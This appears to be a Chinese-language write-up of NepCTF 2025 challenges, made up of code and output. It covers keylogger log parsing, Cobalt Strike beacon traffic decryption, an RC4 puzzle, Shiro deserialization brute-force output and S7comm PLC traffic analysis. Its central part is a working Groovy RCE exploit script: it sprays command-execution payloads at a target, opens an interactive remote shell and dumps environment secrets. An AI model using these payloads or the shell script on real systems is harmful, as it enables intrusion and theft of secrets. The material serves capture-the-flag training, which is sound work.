1import struct2from datetime import datetime3 4# Linux /usr/include/linux/input-event-codes.h 的部分键码映射5KEY_MAP = {6    1: '[ESC]', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',7    12: '-', 13: '=', 14: '[BACKSPACE]', 15: '[TAB]', 16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't',8    21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: '[ENTER]', 29: '[L_CTRL]',9    30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';',10    40: "'", 41: '`', 42: '[L_SHIFT]', 43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b',11    49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: '[R_SHIFT]', 55: '[KP*]', 56: '[L_ALT]',12    57: ' ', 58: '[CAPS_LOCK]', 59: '[F1]', 60: '[F2]', 61: '[F3]', 62: '[F4]', 63: '[F5]',13    64: '[F6]', 65: '[F7]', 66: '[F8]', 67: '[F9]', 68: '[F10]', 69: '[NUM_LOCK]',14    70: '[SCROLL_LOCK]', 96: '[KP_ENTER]', 97: '[R_CTRL]', 98: '[KP_/]', 100: '[R_ALT]',15    102: '[HOME]', 103: '[UP]', 104: '[PGUP]', 105: '[LEFT]', 106: '[RIGHT]', 107: '[END]',16    108: '[DOWN]', 109: '[PGDN]', 110: '[INSERT]', 111: '[DELETE]', 125: '[WIN_KEY]'17}18 19SHIFT_MAP = {20    '`': '~', '1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(',21    '0': ')', '-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>',22    '/': '?'23}24 25def analyze_linux_input_log(filepath):26    """27    解析基于Linux input_event结构的文件28    """29    try:30        with open(filepath, 'rb') as f:31            data = f.read()32    except FileNotFoundError:33        print(f"错误: 文件未找到 '{filepath}'")34        return35 36    record_size = 2437    records_count = len(data) // record_size38    39    print(f"成功读取文件: {filepath} ({len(data)} 字节)")40    print(f"解析 {records_count} 条Linux input_event记录。\n")41    print("-" * 80)42 43    shift_pressed = False44    output = ""45    last_ts_sec = 046 47    for i in range(records_count):48        offset = i * record_size49        try:50            # < : Little-endian51            # L : tv_sec (unsigned long, 4 or 8 bytes, let's assume 8 for 64-bit with padding)52            # Q : tv_usec (unsigned long long, 8 bytes)53            # H : type (unsigned short, 2 bytes)54            # H : code (unsigned short, 2 bytes)55            # i : value (signed int, 4 bytes)56            # We use QQHHi to match 8+8+2+2+4 = 24 bytes57            tv_sec, tv_usec, ev_type, ev_code, ev_value = \58                struct.unpack_from('<QQHHi', data, offset)59 60        except struct.error as e:61            print(f"\n错误: 无法在偏移量 {offset} 处解包记录: {e}")62            continue63 64        # 仅处理按键事件 (EV_KEY = 1)65        if ev_type == 1:66            if ev_code in [42, 54]: # KEY_LEFTSHIFT or KEY_RIGHTSHIFT67                shift_pressed = (ev_value == 1 or ev_value == 2) # 1=press, 2=repeat68                continue69 70            # 只在按键被按下或重复时记录71            if ev_value == 1 or ev_value == 2:72                char = KEY_MAP.get(ev_code, f'[KEY_0x{ev_code:X}]')73                74                # 处理Shift键75                if shift_pressed:76                    if len(char) == 1 and char.isalpha():77                        output += char.upper()78                    else:79                        output += SHIFT_MAP.get(char, char)80                else:81                    output += char82 83        # 同步事件 (EV_SYN = 0) 通常表示一次完整输入动作的结束84        elif ev_type == 0:85            if output:86                # 打印时间戳（仅当秒数变化时）87                if tv_sec != last_ts_sec:88                    dt = datetime.fromtimestamp(tv_sec)89                    print(f"\n--- {dt.strftime('%Y-%m-%d %H:%M:%S')} ---")90                    last_ts_sec = tv_sec91                92                print(output.replace("[ENTER]", "\n"), end="")93                output = ""94 95    # 打印文件中最后未同步的内容96    if output:97        print(output.replace("[ENTER]", "\n"))98 99    print("\n" + "-" * 80)100    print("分析完成。")101 102 103if __name__ == "__main__":104    log_file = "NepBot_keylogger"105    analyze_linux_input_log(log_file)

1--- 2025-07-25 16:44:23 ---2[BACKSPACE]N3--- 2025-07-25 16:44:24 ---4epC5--- 2025-07-25 16:44:25 ---6TF7--- 2025-07-25 16:44:26 ---8-9--- 2025-07-25 16:44:27 ---102011--- 2025-07-25 16:44:28 ---12213--- 2025-07-25 16:44:29 ---145072515--- 2025-07-25 16:44:32 ---16-17--- 2025-07-25 16:44:33 ---1811419--- 2025-07-25 16:44:34 ---2051421--- 2025-07-25 16:44:36 ---22;

🚩NepCTF{NepCTF-20250725-114514}

1python cs-extract-key.py -t 0253784ee86d3fc54693bb7ee14f40d64700446a4604ca0054103ba84e1a831d2a369c501e2a2522abdd9f5fe7652a16fd242669f6b10fb52e8b2b032a7ae00f6b25a8cecdffde72dadf1a18c1225f92 pid.6492.dmp

1File: pid.6492.dmp2Searching for AES and HMAC keys3Found 2 instance(s) of string sha256\x004Searching after sha256\x00 string (0x61a44)5AES key position: 0x00068c606AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.2000007HMAC key position: 0x00068c708HMAC Key: 35d34ac8778482751682514436d71e099SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a710AES key position: 0x000ffaa711AES Key:  4df048894c242033c9ff1592a5000048 M.H.L$ 3.......H 89.26666712Searching for raw key13Searching after sha256\x00 string (0x27ee2f4)14Searching for raw key

1python cs-extract-key.py -c 00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a pid.6492.dmp

1File: pid.6492.dmp2Searching for AES and HMAC keys3Found 2 instance(s) of string sha256\x004Searching after sha256\x00 string (0x61a44)5AES key position: 0x00068c606AES Key:  a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.2000007HMAC key position: 0x00068c708HMAC Key: 35d34ac8778482751682514436d71e099SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a710Searching for raw key11Searching after sha256\x00 string (0x27ee2f4)12Searching for raw key

1'''2cobaltstrike任务解密3'''4import hmac5import binascii6import base647import struct8 9import hexdump10from Crypto.Cipher import AES11 12def compare_mac(mac, mac_verif):13	if mac == mac_verif:14		return True15	if len(mac) != len(mac_verif):16		print17		"invalid MAC size"18		return False19 20	result = 021 22	for x, y in zip(mac, mac_verif):23		result |= x ^ y24 25	return result == 026 27 28def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):29	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):30		print("message authentication failed")31		return32 33	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)34	data = cypher.decrypt(encrypted_data)35	return data36 37 38def readInt(buf):39	return struct.unpack('>L', buf[0:4])[0]40 41# 接收到的任务数据42shell_whoami= "AlN4TuhtP8VGk7t+4U9A1kcARGpGBMoAVBA7qE4agx0qNpxQHiolIqvdn1/nZSoW/SQmafaxD7UuiysDKnrgD2slqM7N/95y2t8aGMEiX5I="43 44if __name__ == "__main__":45	# key源自Beacon_metadata_RSA_Decrypt.py46	SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")47	HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")48 49	enc_data = base64.b64decode(shell_whoami)50	print("数据总长度:{}".format(len(enc_data)))51	signature = enc_data[-16:]52	encrypted_data = enc_data[:-16]53 54	iv_bytes = bytes("abcdefghijklmnop",'utf-8')55 56	dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)57 58	counter = readInt(dec)59	print("时间戳:{}".format(counter))60 61	decrypted_length = readInt(dec[4:])62	print("任务数据包长度:{}".format(decrypted_length))63 64	data = dec[8:len(dec)]65	print("任务Data")66	print(hexdump.hexdump(data))67 68	# 任务标志69	Task_Sign=data[0:4]70	print("Task_Sign:{}".format(Task_Sign))71 72	# 实际的任务数据长度73	Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False)74	print("Task_file:{}".format(Task_file_len))75 76	with open('data.bin', 'wb') as f:77		f.write(data[8:Task_file_len])78 79	print(hexdump.hexdump(data[Task_file_len:]))

1数据总长度:802时间戳:17367535363任务数据包长度:464任务Data500000000: 00 00 00 4E 00 00 00 26  00 00 00 09 25 43 4F 4D  ...N...&....%COM600000010: 53 50 45 43 25 00 00 00  13 20 2F 43 20 74 79 70  SPEC%.... /C typ700000020: 65 20 73 65 63 72 65 74  2E 74 78 74 00 00 41 41  e secret.txt..AA800000030: 41 41 41 41 41 41 41 41                           AAAAAAAA9None10Task_Sign:b'\x00\x00\x00N'11Task_file:381200000000: 65 74 2E 74 78 74 00 00  41 41 41 41 41 41 41 41  et.txt..AAAAAAAA1300000010: 41 41                                             AA14None

1# -*- coding: utf-8 -*-2 3'''4Beacon任务执行结果解密5'''6import hmac7import binascii8import base649import struct10import hexdump11from Crypto.Cipher import AES12 13def compare_mac(mac, mac_verif):14	if mac == mac_verif:15		return True16	if len(mac) != len(mac_verif):17		print18		"invalid MAC size"19		return False20 21	result = 022 23	for x, y in zip(mac, mac_verif):24		result |= x ^ y25 26	return result == 027 28def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):29	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):30		print("message authentication failed")31		return32 33	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)34	data = cypher.decrypt(encrypted_data)35	return data36 37# key源自Beacon_metadata_RSA_Decrypt.py38SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")39HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")40 41encrypt_data="AAAAUDUMp/Q3nzDMnW1nHbiG02BpHHRGcVbmDoNWclri87iAswLqi1VW3xAyToblPsuEBGZGoXWOnLjH/KQtZgYXvkZ2J6vMPAzjvT6TwC//y006"42 43encrypt_data=base64.b64decode(encrypt_data)44 45encrypt_data_length=encrypt_data[0:4]46 47encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)48 49encrypt_data_l = encrypt_data[4:len(encrypt_data)]50 51data1=encrypt_data_l[0:encrypt_data_length-16]52signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]53iv_bytes = bytes("abcdefghijklmnop",'utf-8')54 55dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)56 57 58counter = dec[0:4]59counter=int.from_bytes(counter, byteorder='big', signed=False)60print("counter:{}".format(counter))61 62dec_length = dec[4:8]63dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)64print("任务返回长度:{}".format(dec_length))65 66de_data= dec[8:len(dec)]67Task_type=de_data[0:4]68Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)69print("任务输出类型:{}".format(Task_type))70 71# print(de_data[4:dec_length].decode('utf-8'))72print(de_data[4:dec_length])73 74print(hexdump.hexdump(dec))

1counter:42任务返回长度:403任务输出类型:304b'5c1eb2c4-0b85-491f-8d50-4e965b9d8a43'500000000: 00 00 00 04 00 00 00 28  00 00 00 1E 35 63 31 65  .......(....5c1e600000010: 62 32 63 34 2D 30 62 38  35 2D 34 39 31 66 2D 38  b2c4-0b85-491f-8700000020: 64 35 30 2D 34 65 39 36  35 62 39 64 38 61 34 33  d50-4e965b9d8a43800000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................9None

🚩NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

1local function KSA()2    local key = "Speedmino Created By MrZ and modified by zxc"3    local key_len = #key4    local S = {}5    for i = 0, 255 do6        S[i] = i7    end8    local j = 09    for i = 0, 255 do10        j = (j + S[i] + string.byte(key, i % key_len +1 , i % key_len +1)) % 25611        S[i], S[j] = S[j], S[i]12    end13    return S14end15 16local function tableToStr(text)17    local text_len = text[0]18    local outstring = ""19    local c20    for i = 1, text_len do21        c = text[i]22        if c < 32 or c >= 127 then23            outstring = outstring .. "#"24        else25            outstring = outstring .. string.char(c)26        end27    end28    return outstring29end30 31local secretBox = KSA()32local secret_i = 033local secret_j = 034local youwillget = {187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,82,253,148,6}35youwillget[0] = #youwillget36 37local function calcData(text_table)38    local K = {}39    local text_len = text_table[0]40    K[0] = text_len41    for n = 1, text_len do42 43        secret_i = (secret_i + 1) % 25644        secret_j = (secret_j + secretBox[secret_i]) % 25645 46        secretBox[secret_i], secretBox[secret_j] = secretBox[secret_j], secretBox[secret_i]47        K[n] = (text_table[n] + secretBox[(secretBox[secret_i] + secretBox[secret_j]) % 256]) % 25648    end49    return K50end51 52local dummy_table = {}53dummy_table[0] = 5554for i = 1, 55 do55    dummy_table[i] = 056end57calcData(dummy_table)58 59for i = 1, 2600 do60    youwillget = calcData(youwillget)61end62 63local final_message = tableToStr(youwillget)64print(final_message)

🚩NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

🚩NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!}

1import asyncio2import aiohttp3import sys4 5# --- 配置区 ---6URL = "https://nepctf31-y6w3-pjmd-y50k-6n6r0yvr2456.nepctf.com/run"7PAYLOADS = [8    '"id".execute().text',9    '("i"+"d").execute().text',10    '["i","d"].join("").execute().text',11    "['/bin/sh', '-c', 'id'].execute().text",12    'new ProcessBuilder("id").start().text',13    'this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()',14    "Class.forName('java.lang.ProcessBuilder').getConstructor([String[].class]).newInstance((Object) ['id'] as String[]).start().text",15    '@groovy.transform.ASTTest(value={ assert "id".execute().text }) ""',16    'String.metaClass.execute = { -> "id".execute().text }; "".execute()',17    '{-> "id".execute().text}()',18]19 20# --- 脚本主逻辑 ---21 22async def send_command(session: aiohttp.ClientSession, payload: str):23    """发送单个命令并返回结果"""24    headers = {'Content-Type': 'text/plain'}25    try:26        async with session.post(URL, data=payload, headers=headers, timeout=10) as response:27            return await response.text()28    except Exception as e:29        return f"请求失败: {e}"30 31async def test_payload(session: aiohttp.ClientSession, payload: str, rce_found_event: asyncio.Event, found_payload_info: dict):32    """测试单个payload，如果成功则设置事件"""33    if rce_found_event.is_set():34        return35 36    result = await send_command(session, payload)37    38    if "uid=" in result and "gid=" in result:39        if not rce_found_event.is_set():40            print("\n" + "="*50)41            print(">>>  🎉 成功！找到可用的 RCE Payload!  🎉")42            print(f">>>  Payload: {payload}")43            print(f">>>  响应: {result.strip()}")44            print("="*50 + "\n")45            found_payload_info['payload'] = payload46            rce_found_event.set()47 48async def interactive_shell(session: aiohttp.ClientSession, working_payload: str):49    """启动一个交互式 shell 来发送命令"""50    51    # ####################################################################52    # #  关键改动在这里！                                                #53    # #  我们现在尝试替换多种可能的命令模式                              #54    # ####################################################################55    payload_template = None56    command_patterns_to_replace = [57        '("i"+"d")',          # 对应 ("i"+"d").execute().text58        '"id"',               # 对应 "id".execute().text59        '["i","d"]',          # 对应 ["i","d"].join("").execute().text60        "['/bin/sh', '-c', 'id']", # 对应 ...61        # 注意：这里的替换逻辑是简单的字符串替换，可能需要根据具体payload微调。62        # 例如，对于ASTTest，可能需要替换里面的 "id"63    ]64 65    # 尝试自动创建模板66    for pattern in command_patterns_to_replace:67        if pattern in working_payload:68            # 对于拼接字符串，我们需要用 "{cmd}" 替换，让它成为一个 Groovy 变量69            # 对于其他情况，我们可能需要用 '"{cmd}"' 替换，让它成为一个字符串70            # 这里我们统一用 '"{cmd}"'，这在大多数情况下更通用71            # payload_template = working_payload.replace(pattern, '"{cmd}"')72            # 修正：对于 ("i"+"d") 这种，应该替换成 ("{cmd}")73            if pattern == '("i"+"d")':74                payload_template = working_payload.replace(pattern, '("{cmd}")')75            else:76                 payload_template = working_payload.replace(pattern, '"{cmd}"')77 78            break79    80    # 如果自动创建失败，则进入手动模式81    if not payload_template:82         print(f"[!] 警告：无法自动创建命令模板。")83         print(f"[!] 成功的 Payload 是: {working_payload}")84         manual_cmd_part = input("[?] 请**精确**输入上面Payload中代表命令的部分进行替换 (例如: \"i\"+\"d\" ): ")85         if manual_cmd_part:86             payload_template = working_payload.replace(manual_cmd_part, '"{cmd}"')87         else:88             print("[!] 输入为空，无法创建模板，退出。")89             return90 91 92    print("--- 开启交互式 RCE 终端 ---")93    print("输入 'exit' 或 'quit' 退出。")94    print(f"使用的 Payload 模板: {payload_template}\n")95 96    while True:97        try:98            cmd = input("[RCE Shell] $ ")99            if cmd.lower() in ['exit', 'quit']:100                print("终端已退出。")101                break102            if not cmd:103                continue104 105            # 将用户输入的命令填入模板，转义双引号防止注入破坏106            safe_cmd = cmd.replace('"', '\\"')107            final_payload = payload_template.format(cmd=safe_cmd)108            109            print("...发送中...")110            response_text = await send_command(session, final_payload)111            print("\n--- [服务器响应] ---\n" + response_text.strip() + "\n" + "-"*20 + "\n")112 113        except KeyboardInterrupt:114            print("\n终端已退出。")115            break116        except Exception as e:117            print(f"发生错误: {e}")118 119async def main():120    rce_found_event = asyncio.Event()121    found_payload_info = {'payload': None}122    async with aiohttp.ClientSession() as session:123        print("--- 开始并发扫描 Payload ---")124        tasks = [test_payload(session, p, rce_found_event, found_payload_info) for p in PAYLOADS]125        await asyncio.gather(*tasks)126 127        if found_payload_info['payload']:128            await interactive_shell(session, found_payload_info['payload'])129        else:130            print("\n--- 扫描完成 ---")131            print("[!] 未能在列表中找到可用的 RCE Payload。")132 133if __name__ == "__main__":134    if sys.platform == "win32":135        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())136    137    asyncio.run(main())

1--- 开始并发扫描 Payload ---23==================================================4>>>  🎉 成功！找到可用的 RCE Payload!  🎉5>>>  Payload: this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()6>>>  响应: uid=1000(app) gid=1000(app) groups=1000(app)7==================================================89--- 开启交互式 RCE 终端 ---10输入 'exit' 或 'quit' 退出。11使用的 Payload 模板: this.class.forName("java.lang.Runtime").getRuntime().exec("{cmd}").getText()1213[RCE Shell] $ pwd14...发送中...1516--- [服务器响应] ---17/app18--------------------1920[RCE Shell] $ env21...发送中...2223--- [服务器响应] ---24PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin25HOSTNAME=ret2shell-29-485-175353303626LANG=C.UTF-827JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre28JAVA_VERSION=8u21229JAVA_ALPINE_VERSION=8.212.04-r030FLAG=flag{dd620e79-67c3-3db2-2a85-48560d35ec04}31KUBERNETES_PORT_443_TCP_PORT=44332KUBERNETES_PORT_443_TCP_ADDR=10.43.0.133KUBERNETES_SERVICE_HOST=10.43.0.134KUBERNETES_SERVICE_PORT=44335KUBERNETES_SERVICE_PORT_HTTPS=44336KUBERNETES_PORT=tcp://10.43.0.1:44337KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:44338KUBERNETES_PORT_443_TCP_PROTO=tcp39HOME=/home/app40LD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64    41--------------------4243[RCE Shell] $

🚩flag{dd620e79-67c3-3db2-2a85-48560d35ec04}

1this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

1NepCTF{de5ab12d-d602-e757-2dfb-bd1f5bc9983c}

1[++] 存在shiro框架！2[++] 找到key：kPH+bIxk5D2deZiIxcaaaA==3[+] 爆破结束4[-] 测试:CommonsBeanutils1  回显方式: AllEcho5[-] 测试:CommonsBeanutils1  回显方式: TomcatEcho6[-] 测试:CommonsBeanutils1  回显方式: SpringEcho7[-] 测试:CommonsBeanutils1_183  回显方式: AllEcho8[-] 测试:CommonsBeanutils1_183  回显方式: TomcatEcho9[-] 测试:CommonsBeanutils1_183  回显方式: SpringEcho10[-] 测试:CommonsCollections2  回显方式: AllEcho11[-] 测试:CommonsCollections2  回显方式: TomcatEcho12[-] 测试:CommonsCollections2  回显方式: SpringEcho13[-] 测试:CommonsCollections3  回显方式: AllEcho14[-] 测试:CommonsCollections3  回显方式: TomcatEcho15[-] 测试:CommonsCollections3  回显方式: SpringEcho16[-] 测试:CommonsCollectionsK1  回显方式: AllEcho17[-] 测试:CommonsCollectionsK1  回显方式: TomcatEcho18[-] 测试:CommonsCollectionsK1  回显方式: SpringEcho19[-] 测试:CommonsCollectionsK2  回显方式: AllEcho20[-] 测试:CommonsCollectionsK2  回显方式: TomcatEcho21[-] 测试:CommonsCollectionsK2  回显方式: SpringEcho22[-] 测试:CommonsBeanutilsString  回显方式: AllEcho23[-] 测试:CommonsBeanutilsString  回显方式: TomcatEcho24[-] 测试:CommonsBeanutilsString  回显方式: SpringEcho25[++] 发现构造链:CommonsBeanutilsString_183  回显方式: AllEcho26[++] 请尝试进行功能区利用。

🚩flag{924a3f0d-e035-1180-be46-9bb33b215d03}

1# 第10个字节是 0x85 (正常应为 0x80)2                                            ↓↓355 00 01 03 00 00 21 02 f0 85 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

1# 报文尾部包含了 P_PROGRAM 的ASCII码（505f50524f4752414d）2                                                                                                                                     ↓                                       ↓382 00 01 03 00 00 21 02 f0 80 32 01 00 00 08 fc 00 10 00 00 29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d

1# TPKT长度字段 (数据流第6、7字节) 的值是 0x0019 (25)2                         ↓     ↓395 00 01 03 00 00 19 02 f0 80 32 01 00 00 08 fc 00 08 00 00 1e 01 00 00 00 00 00 01

1#!/usr/bin/env python32from pwn import *3 4# --- 配置 ---5HOST = "nepctf30-5qbd-u00j-45hi-9vvqo4prp833.nepctf.com"6PORT = 4437# context.log_level = 'debug'8 9# --- 规则参数 ---10DB_NUMBER_BYTES = b'\x03\xea' # DB 100211LONG_PACKET_THRESHOLD = 30 # 用于区分真实数据请求和简短ACK的长度阈值12MALFORMED_SHORT_PACKET_LENGTH = 25 # 我们发现的恶意短包的特定长度13 14# --- 连接服务器 ---15p = remote(HOST, PORT, ssl=True)16 17# --- 选择功能1 ---18p.sendlineafter(b'> ', b'1')19log.info("已选择功能1")20p.recvuntil(b'the correct data unit reference should be 2300.\n    \n')21 22try:23    for i in range(100):24        # 接收并打印服务器提示25        prompt_line = p.recvline().decode().strip()26        log.info(f"收到提示: {prompt_line}")27        28        # 接收并解析报文29        data_line = p.recvline().strip()30        try:31            raw_bytes = eval(data_line)32        except Exception as e:33            log.error(f"无法解析报文: {data_line}, 错误: {e}")34            break35 36        # 提取关键信息37        depth = raw_bytes[0]38        cotp_param = raw_bytes[9]39        s7_packet = raw_bytes[3:]40        tpkt_length = u16(s7_packet[2:4], endian='big')41        42        # --- 判断逻辑 ---43        is_malicious = False44        reason = "判定为正常 (未命中任何恶意规则)"45 46        # 规则A: 非法功能调用47        if cotp_param != 0x80:48            is_malicious = True49            reason = f"恶意 (规则A): COTP参数为 {hex(cotp_param)} (非0x80)。"50        51        # 规则B: 访问非法区域52        elif b'P_PROGRAM' in raw_bytes:53            is_malicious = True54            reason = f"恶意 (规则B): 报文中包含 'P_PROGRAM' 关键字。"55        56        # 规则C: 畸形的短包57        elif tpkt_length == MALFORMED_SHORT_PACKET_LENGTH:58             is_malicious = True59             reason = f"恶意 (规则C): 发现TPKT长度为 {tpkt_length} 的畸形短包。"60        61        # --- 打印分析过程和结果 ---62        print("-" * 60)63        log.info(f"正在分析 Packet {i} (depth={depth})")64        print(f"  - 原始数据 (hex): {raw_bytes.hex()}")65        print(f"  - TPKT 长度: {tpkt_length}, COTP 参数: {hex(cotp_param)}")66 67        # --- 发送判断并打印 ---68        decision = '1' if is_malicious else '0'69        if is_malicious:70            log.warning(reason)71        else:72            log.success(reason)73            74        p.sendlineafter(b'/ SIEM > ', decision.encode())75        print(f"  - 已发送判断: '{decision}'")76        print("-" * 60)77 78    log.success("所有100个报文处理完毕")79    p.interactive()80 81except Exception as e:82    log.error(f"脚本出现异常: {e}")83finally:84    p.close()

🚩NepCTF{5f0aad89-eb5b-57f7-6d1e-7712871cad43}

1tshark -r a.pcap -d tcp.port==11102,tpkt -O s7comm > a.txt

1Frame 12: 103 bytes on wire (824 bits), 103 bytes captured (824 bits)2Linux cooked capture v23Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.14Transmission Control Protocol, Src Port: 58370, Dst Port: 11102, Seq: 1, Ack: 1, Len: 315TPKT, Version: 3, Length: 316ISO 8073/X.224 COTP Connection-Oriented Transport Protocol7S7 Communication8    Header: (Job)9        Protocol Id: 0x3210        ROSCTR: Job (1)11        Redundancy Identification (Reserved): 0x000012        Protocol Data Unit Reference: 230013        Parameter length: 1414        Data length: 015    Parameter: (Read Var)16        Function: Read Var (0x04)17        Item count: 118        Item [1]: (DB 1002.DBX 1002.0 BYTE 1)19            Variable specification: 0x1220            Length of following address specification: 1021            Syntax Id: S7ANY (0x10)22            Transport size: BYTE (2)23            Length: 124            DB number: 100225            Area: Data blocks (DB) (0x84)26            Address: 0x001f5027                .... .000 0001 1111 0101 0... = Byte Address: 100228                .... .... .... .... .... .000 = Bit Address: 0

1import re2import csv3import os4 5def extract_s7_data(input_file, output_file):6    """7    Parses a Wireshark-like text dump to extract S7 "Read Var" requests 8    and their corresponding "Ack_Data" responses, then saves them to a CSV file.9 10    Args:11        input_file (str): The path to the input text file (e.g., 'b.txt').12        output_file (str): The path to the output CSV file.13    """14    if not os.path.exists(input_file):15        print(f"Error: Input file '{input_file}' not found.")16        return17 18    try:19        with open(input_file, 'r', encoding='utf-8') as f:20            content = f.read()21    except Exception as e:22        print(f"Error reading file: {e}")23        return24 25    # Split the entire text file into individual frame chunks.26    # The initial split creates an empty string at the beginning, so we slice it off.27    frames_text = re.split(r'\nFrame ', content)28    if frames_text:29        frames_text[0] = frames_text[0].replace('--- START OF FILE b.txt ---\n\nFrame ', '', 1)30 31    extracted_data = []32    33    # Regex patterns to find request and response frames and their data34    request_pattern = re.compile(35        r'^(?P<req_frame>\d+):.*?'36        r'ROSCTR: Job \(1\).*?'37        r'Function: Read Var.*?'38        r'Item \[1\]: \((?P<address>DB \d+\.DBX \d+\.\d+ BYTE 1)\)',39        re.DOTALL | re.MULTILINE40    )41    42    response_pattern = re.compile(43        r'^(?P<res_frame>\d+):.*?'44        r'ROSCTR: Ack_Data \(3\).*?'45        r'Data: (?P<value>\w+)',46        re.DOTALL | re.MULTILINE47    )48 49    i = 050    while i < len(frames_text):51        # Look for a request frame52        match_request = request_pattern.search(frames_text[i])53        54        if match_request:55            req_frame_num = match_request.group('req_frame')56            address = match_request.group('address')57            58            # Search for the *next* response frame59            j = i + 160            while j < len(frames_text):61                match_response = response_pattern.search(frames_text[j])62                if match_response:63                    res_frame_num = match_response.group('res_frame')64                    # The value is returned in hexadecimal, convert to decimal integer65                    value = int(match_response.group('value'), 16)66                    67                    # Store the complete transaction68                    extracted_data.append([req_frame_num, address, res_frame_num, value])69                    break  # Found the response, stop searching70                j += 171        i += 172 73    # Write the extracted data to the CSV file74    try:75        with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:76            writer = csv.writer(csvfile)77            writer.writerow(['Request Frame', 'Address Read', 'Response Frame', 'Value (Decimal)'])78            writer.writerows(extracted_data)79        print(f"✅ Successfully extracted {len(extracted_data)} data points to '{output_file}'")80    except Exception as e:81        print(f"Error writing to CSV file: {e}")82 83# --- Main execution ---84if __name__ == "__main__":85    extract_s7_data('a.txt', 'plc_data.csv')

1Request Frame,Address Read,Response Frame,Value (Decimal)212,DB 1002.DBX 1002.0 BYTE 1,14,48316,DB 1002.DBX 1002.1 BYTE 1,17,49419,DB 1002.DBX 1002.2 BYTE 1,20,48522,DB 1002.DBX 1002.3 BYTE 1,23,48625,DB 1003.DBX 1016.3 BYTE 1,26,50728,DB 1002.DBX 1002.4 BYTE 1,29,49831,DB 1003.DBX 1016.4 BYTE 1,32,48934,DB 1002.DBX 1002.5 BYTE 1,35,491037,DB 1002.DBX 1002.6 BYTE 1,38,491140,DB 1002.DBX 1002.7 BYTE 1,41,481243,DB 1003.DBX 1016.7 BYTE 1,44,481346,DB 1002.DBX 1003.0 BYTE 1,47,481449,DB 1002.DBX 1003.1 BYTE 1,50,491552,DB 1002.DBX 1003.2 BYTE 1,53,491655,DB 1002.DBX 1003.3 BYTE 1,56,4817...	...	...	...

